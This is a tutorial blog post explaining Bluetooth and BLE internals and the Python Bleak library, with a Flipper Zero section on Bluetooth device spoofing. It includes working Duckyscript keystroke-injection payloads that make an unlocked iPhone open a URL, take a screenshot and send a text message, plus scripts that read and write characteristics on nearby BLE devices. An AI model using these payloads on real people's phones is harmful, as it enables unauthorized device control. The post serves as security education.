Even though you’re surely already aware of Bluetooth due to its wide usage (unless you’ve been living in a time-capsule under a rock), Bluetooth is a wireless technology that allows devices to connect and exchange data over short distances.

This technology is now embedded into countless devices we use daily, from smartphones and tablets to headphones and smart home systems.

While Bluetooth has changed the way we interact with technology, it also introduces security vulnerabilities.

In this article, we will delve into the inner (boring) workings of Bluetooth technology to give you an understanding of how it works. Along with that, we’ll also show you how to exploit these vulnerabilities (not boring).

This is for educational purposes only. Unless you have explicit permission, do not perform the actions demonstrated on anyone or anything.

How does Bluetooth work?

To understand how Bluetooth works, you must understand the anatomy of a radio wave:

A peak is the highest point of a wave. The trough is the lowest point of a wave. The amplitude is half of the distance between peaks and troughs.

A wavelength is the distance between two consecutive peaks or troughs.

A cycle begins at a baseline, goes up to a peak, comes back down through the baseline to a trough and then returns to the baseline.

Frequency is the number of cycles per second and can be measured in Hertz (Hz). The wavelength and frequency of a wave are inversely related

The longer the wavelength, the lower the frequency.

The shorter the wavelength, the higher the frequency.

When two devices are connected via Bluetooth, they transmit binary data between each other. 

The transmitting device will generate what is known as a carrier wave. This carrier wave is a continuous wave at a specific base frequency and acts as the transport signal. The frequency of the carrier wave is then shifted to a higher frequency to send a 1 and to a lower frequency to send a 0

For example, if the carrier wave had a wavelength of 123mm:

  • 1 would be keyed to a wavelength of 121mm.
  • 0 would be keyed to a wavelength of 124mm.

In other words, if the carrier wave had a frequency of 2402 MHz:

  • 1 would be keyed to a frequency of 2403 MHz.
  • 0 would be keyed to a frequency of 2401 MHz.

Sending binary data using different frequencies of electromagnetic waves is known as frequency shift keying.

The long strings of binary bits sent between devices are assembled into packets. The first 72 bits in a packet are the access codes used to synchronize devices. The next 54 bits is the header which contains information such as the connection handle, packet type, and payload length. The remaining bits are the actual data payload.

There are two variants of Bluetooth: Classic (aka Basic Rate/Enhanced Data Rate + AMP) and Low Energy.

Bluetooth Classic (BR/EDR) is mainly used to stream audio to headsets and speakers.

Bluetooth Low Energy (BLE) is more versatile as it can provide location and direction finding, data transfer to peripheral devices and functions related to monitoring, automation, and control systems. Due to this, we’ll concentrate more on Bluetooth Low Energy.

The wavelength of Bluetooth radio waves range from 124.9mm (2402 Megahertz) to 120.7mm (2483.5 Megahertz). This range is divided into 80 different sections when using BR/EDR and 40 different sections for BLE. These sections are known as channels. Each channel has a center frequency which represents the frequency of the carrier wave.

At any given time, communication is carried out using one of these channels. However, devices do not stay in a single channel—instead they change channels ~1,600 times per second. In each channel, one packet will be transmitted. The transmitting device dictates which channel will be used next and the other device follows its lead. This ensures there are no channel collisions with other paired devices.

Similar to TCP/IP, if the receiving device does not receive a packet, it will notify the transmitting device, which will then resend the packet.

Bluetooth capable devices have a Bluetooth microchip that filters out unwanted signals, checks for errors, coordinates channel hopping, and assembles the data sent into packets.

Flipper Zero

Before we get into more details on how Bluetooth works – let’s take a break with a fun exercise.

The Flipper Zero is a small receiver-transmitter with a (cute) dolphin mascot. Inside this malicious Tamagotchi is a STM32WB55RG microcontroller that makes it Bluetooth compatible.

Because it is Bluetooth compatible, we can use it to act as a peripheral device that central devices can connect to. You are already familiar with other peripheral devices, such as Bluetooth keyboards and mice. Central devices are simply what they connect to—like a computer or smartphone.

The thing with these Bluetooth peripherals though, is that they carry a level of implicit trust.

After all, if your central device is connected to it, that shows user intent right? You must have purposely connected to it.

What would happen though, if you accidentally connected to it?

Humans are bad at remembering things and so many of our daily devices let you arbitrarily name them. That’s why we need the Domain Name System to translate IP addresses into nice simple words for us. It would be very inconvenient to have to remember the MAC address of your Bluetooth fish tank thermometer.

You can set the…

Also, there is no requirement to choose a unique name.

I thought I was connecting to my earbuds. Why is a photo of a podcast host now saved as a screenshot on my phone?

With Flipper in hand, here is how you can do this as well:

The default firmware that comes with the Flipper Zero does not have the capability to pull this off. For that, you will need to install Xtreme. This custom firmware builds upon the default Bad USB app by providing it with Bluetooth capability—giving you Bad Keyboard.

With Bad Keyboard, you can arbitrarily spoof the name and MAC address of a Bluetooth device waiting to be connected. Once a central device pairs with your rogue device, the Flipper Zero emulates a Bluetooth keyboard. An easy to learn language called Duckyscript is then used to issue keystrokes and shortcuts to the central device. Check out our blog on hacking with the Flipper Zero

Again, because of the implicit trust given to devices like Bluetooth keyboards, this even works on my iPhone, which is updated to the latest version.

Here are a couple of scripts to get you started with Bad Keyboard for attacking iOS via BLE:

The script demonstrated above:

REM Screenshot of webpage.
REM Replace with desired URL.

GUI h
DELAY 1000
GUI SPACE
DELAY 250
STRING https://example.com/examplephoto.jpg
DELAY 2300
TAB
DELAY 150
ENTER 
DELAY 150
ENTER
DELAY 2500
GUI-SHIFT 4

Make a phone send a text message to an arbitrary number:

REM Text message backup.

GUI h
DELAY 1000
GUI SPACE
DELAY 100
STRING Safari
DELAY 350
TAB
DELAY 75
ENTER
DELAY 1200
GUI l
DELAY 500
GUI l
DELAY 500
STRING sms://[PHONE NUMBER]
DELAY 1300
ENTER
DELAY 300
ENTER
DELAY 3000
STRING Careful what you connect to.
DELAY 1000
ENTER

Note that the iPhone must be unlocked for any of these to execute. Also, if you are curious as to why you can’t type anything, remember, the Flipper is emulating a keyboard. You need to disconnect to regain the iPhone keyboard.

Now that your attention has been captured, let’s continue on with learning how Bluetooth operates under the hood. Trust me, it will be worth it.

Back to Basics: BLE Protocol

We’ll just briefly run through this. In the BLE protocol stack, there are two main parts—the Controller layers and the Host layers.

The Controller layers (highlighted in orange), refer to what the hardware does:

  • Physical layer: Deals with the radio waves.
  • Link layer: Responsible for advertising, scanning, and making/maintaining connections.
  • Isochronous adaptation layer: Helps ensure smooth and reliable audio data transmission.

The Host Controller Interface is shared between both layers. It is the interface between the low-level Controller protocols and the upper-level Host protocols.

The Host layers (highlighted in…brown?), refer to what the software does:

  • Logical Link Control and Adaptation Protocol (L2CAP): Deals with reassembling all the received packets from the Controller layers into the full data payload for the Host layers and vice versa.
  • Attribute Protocol (ATT): Each device holds a table of its data using a data type called an attribute. The ATT defines the structure of an attribute and its permission levels.
  • Security Manager Protocol (SMP or SM): Provides the methods necessary for secure data transfer and authentication.
  • Generic Attribute Profile (GATT): Organizes attribute data into a hierarchical structure. Essentially defines an API on how to interact with the data held by a device using a client-server model.
  • General Access Profile (GAP): Defines procedures on how devices can communicate as well as device roles that each control the Link layer differently.

Above all these layers, is the Application layer. This is where you, the lovely developer, resides.

Device Discovery and Connections

Remember how the GAP defines roles for devices (right above if you skipped reading—shame on you)? We have already discussed two of them—the peripheral and central roles. But there are two more.

Feel free to print this out and hang it on the fridge.

When you go into the Bluetooth settings of your computer to find your headset to connect to (so children can roast you over in-game chat), the observer role is assumed by your computer. As an observer, the computer instructs its Link layer to be a scanner. The Link layer then switches the low-energy radio from an idle state to a scanning state, allowing the computer to listen for advertisement packets.

Your headset assumes the broadcaster role and instructs its Link layer to become an advertiser. This will switch the radio from the idle state to an advertising state—in which it can send out the advertisement packets to make its presence known. These advertisements include data such as the device’s name, MAC address, and may also include a list of available service UUIDs. These packets are transmitted in channels 37, 38, and 39 for BLE.

Once you select your headset, your computer assumes the central role and the Link layer switches the radio from the scanning state to the initiating state. In this state, a connection request packet is sent to the peripheral role headset. If this packet is accepted by the headset, the connection is established.

Finally, after the connection has been made, the devices assume the client and server roles (as defined by the GATT, not the GAP). Typically, peripheral devices act as the server and central devices act as the client. Similar to the Hypertext Transport Protocol (HTTP), the client (your computer) will make requests to the server (your headset) and the server will send back responses to the client.

Attributes

The table that holds all the data attributes, is (surprise) called an attribute table. When a client sends a request for data to a server, this is where the data is pulled from. This table includes:

Profiles: A profile is a collection of related services.

Services: A service is a collection of related characteristics.

Characteristics: The characteristics represent individual data points in a service. They store the values you want to read or write to the device. Each characteristic will list the permissions of what the central device can do.

Imagine you have a “smart” Bluetooth fitness watch and an application on your phone for it:

  • Read: The value of the characteristic can be read. Example: You check your current number of steps taken today on the app. The watch sends the current step count back to the app.
  • Write: The value can be written to. Example: You set a new goal for daily steps within the app. The watch receives the new goal and sends a confirmation response back to the app that it has been updated. This response triggers a banner notification in the app showing that the step goal has been updated.
  • Write without response: The value can be written without requiring the peripheral to acknowledge it received it. Example: You change the screen brightness level of the watch in the app. The watch does not send a response in order to display a notification of this settings change.
  • Notify: You can receive automatic updates when the value changes. Example: The watch will send notifications to the app every time you burn 100 calories. No acknowledgement is needed from the app.
  • Indicate: You can receive updates but have to acknowledge you received it. Example: The watch sends an alert every time it detects an abnormal heart rate. The app acknowledges it received this alert back to the watch.

Descriptors: Descriptors are optional and provide additional information about a characteristic.

If you are familiar with HTTP, you can think of Read permissions as a GET request and Write permissions as a PUT request.

Universally Unique Identifier (UUID)

We are almost there—stay with me.

Each attribute is identified by a 128-bit (or 16 bytes for you math nerds) Universally Unique Identifier (UUID) represented as a string of hexadecimal digits.

You may sometimes see an attribute UUID as only 16 bits (or four characters long for you not-math nerds). This is because UUIDs defined by the Bluetooth standard share the first 16 bits and last 96 bits in common: 0000xxxx-0000-1000-8000-00805F9B34FB.

These common bits are referred to as the Bluetooth Base UUID. The base just states that it’s an “officially recognized” UUID by Big Bluetooth. It also includes the version and standard used to make it. Not really interesting, just remember that a UUID sometimes leaves all that out and only uses the 16 bit assigned number (aka short UUID).

For example, if we are talking about a Bluetooth compatible insulin pump:

0x183A would be the short UUID that references the insulin delivery service attribute. 0x is just a prefix letting you know the following characters are hexadecimal. So, if you wanted to refer to the insulin delivery service, using its full government-given-name, you would just insert those four characters into the base UUID – 0000183A-0000-1000-8000-00805F9B34FB.

You can find all the officially registered assigned numbers here: Bluetooth Numbers Database

Bleak

Bleak is a Python library designed for BLE communication. It provides a cross-platform API for interaction. It acts as a client to a GATT server. The documentation can be found here. Use pip to install the library:

pip install bleak

Do not name any of your scripts bleak.py as it will cause an import error.

Bleak provides:

  • BleakScanner: This object class is the interface for device discovery scanning by listening for advertisements. It has various methods and parameters for configuring the scan and will return an object class that represents the discovered device. Once this device object is returned, you can access its properties to gather further information.
  • BleakClient: This object class allows you to connect to a device and send requests as the client to the GATT server. Services will automatically be enumerated when connecting to a device. You can gather further information by using the object properties provided. On some devices, authentication may be required in order to read/write to a characteristic. You can satisfy this requirement by pairing to the device.

To discover Bluetooth devices using the BleakScanner.discover() method:

import asyncio
from bleak import BleakScanner

async def main():
    devices = await BleakScanner.discover()
    for d in devices:
        print(d)

asyncio.run(main())

All the MAC addresses and given names of the devices within range will be output. Oh look, the Flipper Zero that spoofed my headphones earlier.

Connect to a device using the BleakClient() method and list the services of a device (make sure to provide a device UUID as an argument):

import asyncio
import sys
from bleak import BleakClient

async def main(address):
  async with BleakClient(address) as client:
    if (not client.is_connected):
      raise "Client not connected"

    services = client.services

    for service in services:
      print('Service', service.handle, service.uuid, service.description)

if __name__ == "__main__":
  address = sys.argv[1]
  print('Address:', address)
  asyncio.run(main(address))

Notice the UUIDs?

Include the characteristics, their descriptors and the permissions of each service using the attributes and attribute properties:

import asyncio
import sys
from bleak import BleakClient

async def main(address):
  async with BleakClient(address) as client:
    if (not client.is_connected):
      raise "Client not connected"

    services = client.services

    for service in services:
      print('\nService', service.handle, service.uuid, service.description)

      characteristics = service.characteristics
      seen_characteristics = set()

      for char in characteristics:
          char_info = (char.handle, char.uuid)
          if char_info not in seen_characteristics: 
            print('  Characteristic:', char.handle, char.uuid, char.description, char.properties)
            seen_characteristics.add(char_info)
        
          descriptors = char.descriptors
          seen_descriptors = set()

          for desc in descriptors:
            desc_info = (desc.handle, desc.uuid)
            if desc_info not in seen_descriptors:
              print('    Descriptor:', desc.handle, desc.uuid, desc.description)
              seen_descriptors.add(desc_info)

if __name__ == "__main__":
  address = sys.argv[1]
  print('Address:', address)
  asyncio.run(main(address))

Starter Script

You made it. I am very proud of you. Though we must part ways—I will leave you with a base script.

Try changing things according to the Bleak documentation that can be found here.

I was able to successfully mess around with a couple of devices in my house with the script. Ensure to search the web to find any device specific information you may need such as command codes or what data format/encoding type is expected.

Until next time,

Ninjeeter

import asyncio
from bleak import BleakScanner, BleakClient

# Define a timeout period in seconds.
TIMEOUT = 10

async def get_device_services(address):
    async with BleakClient(address) as client:
        if not client.is_connected:
            print(f"Failed to connect to {address}.")
            return []

        print(f"Connected to {address}. Discovering services...")
        return client.services

async def discover_and_select():
    while True:
        # Step 1: Discover devices.
        print("Scanning for devices...")
        devices = await BleakScanner.discover()

        if not devices:
            print("No devices found.")
            continue

        # Step 2: List devices with index numbers for selection.
        print("Found devices:")
        for i, device in enumerate(devices):
            print(f"{i}. {device.name} ({device.address})")

        # Step 3: Prompt the user to select a device.
        selection = None
        while selection is None:
            user_input = input("Enter the number of the device to scan further: ")
            if user_input.isdigit():
                user_input = int(user_input)
                if 0 <= user_input < len(devices):
                    selection = user_input
                else:
                    print("Invalid selection. Please enter a number within the valid range.")
            else:
                print("Invalid input. Please enter a number.")

        selected_device = devices[selection]
        print(f"Selected device: {selected_device.name} ({selected_device.address})")

        # Step 4: Scan the selected device for services and characteristics.
        try:
            services = await asyncio.wait_for(get_device_services(selected_device.address), timeout=TIMEOUT)
        except asyncio.TimeoutError:
            print(f"Timeout while discovering services on {selected_device.address}. Re-scanning for devices...")
            continue

        if not services:
            print("No services found.")
            continue

        # Step 5: List services and characteristics for user selection.
        print("\nAvailable services and characteristics:")
        service_index = {}
        char_index = {}
        char_count = 0

        for i, service in enumerate(services):
            print(f"{i}. Service: {service.handle} {service.uuid} {service.description}")
            service_index[i] = service
            for char in service.characteristics:
                print(f"  {char_count}. Characteristic: {char.handle} {char.uuid} {char.description} {char.properties}")
                char_index[char_count] = char
                char_count += 1

        # Step 6: Loop to read or write to characteristics, or rescan.
        while True:
            # Prompt user to select a characteristic, or type 'rescan', 'exit', or 'write'.
            user_input = input("Enter the number of the characteristic to read value, 'write' to write value, 'rescan' to rescan, or 'exit' to exit: ")

            if user_input.lower() == 'rescan':
                break  # Exit to rescanning loop.
            elif user_input.lower() == 'exit':
                return  # Exit the entire program.

            if user_input.lower() == 'write':
                # Prompt for characteristic index and value to write.
                char_index_input = input("Enter the number of the characteristic to write to: ")
                if char_index_input.isdigit():
                    char_index_input = int(char_index_input)
                    if 0 <= char_index_input < len(char_index):
                        selected_char = char_index[char_index_input]
                        value_to_write = input(f"Enter the value to write to characteristic {selected_char.uuid}: ")
                        
                        try:
                            # Convert value to bytes if necessary.
                            value_bytes = bytes(value_to_write, 'ascii')
                            async with BleakClient(selected_device.address) as client:
                                if not client.is_connected:
                                    print(f"Failed to connect to {selected_device.address}")
                                    continue

                                print(f"Connected to {selected_device.address}. Writing characteristic value...")
                                response = await client.write_gatt_char(selected_char.uuid, value_bytes, response=True)
                                print(f"Value written to characteristic {selected_char.uuid}. Response: {response}")
                        except Exception as e:
                            print(f"An error occurred while writing to characteristic {selected_char.uuid}: {e}")
                    else:
                        print("Invalid selection. Please enter a number within the valid range.")
                else:
                    print("Invalid input. Please enter a number.")
                continue  # Continue the loop after writing.

            if user_input.isdigit():
                user_input = int(user_input)
                if 0 <= user_input < len(char_index):
                    selected_char = char_index[user_input]
                    print(f"Selected characteristic: {selected_char.handle} {selected_char.uuid}")

                    # Step 7: Read and print the value of the selected characteristic.
                    async with BleakClient(selected_device.address) as client:
                        if not client.is_connected:
                            print(f"Failed to connect to {selected_device.address}")
                            continue

                        print(f"Connected to {selected_device.address}. Reading characteristic value...")
                        try:
                            value = await client.read_gatt_char(selected_char.uuid)
                            print(f"Value of characteristic {selected_char.uuid}: {value}")
                        except Exception as e:
                            print(f"An error occurred while reading characteristic {selected_char.uuid}: {e}")
                else:
                    print("Invalid selection. Please enter a number within the valid range.")
            else:
                print("Invalid input. Please enter a number, 'write', 'rescan', or 'exit'.")

if __name__ == "__main__":
    asyncio.run(discover_and_select())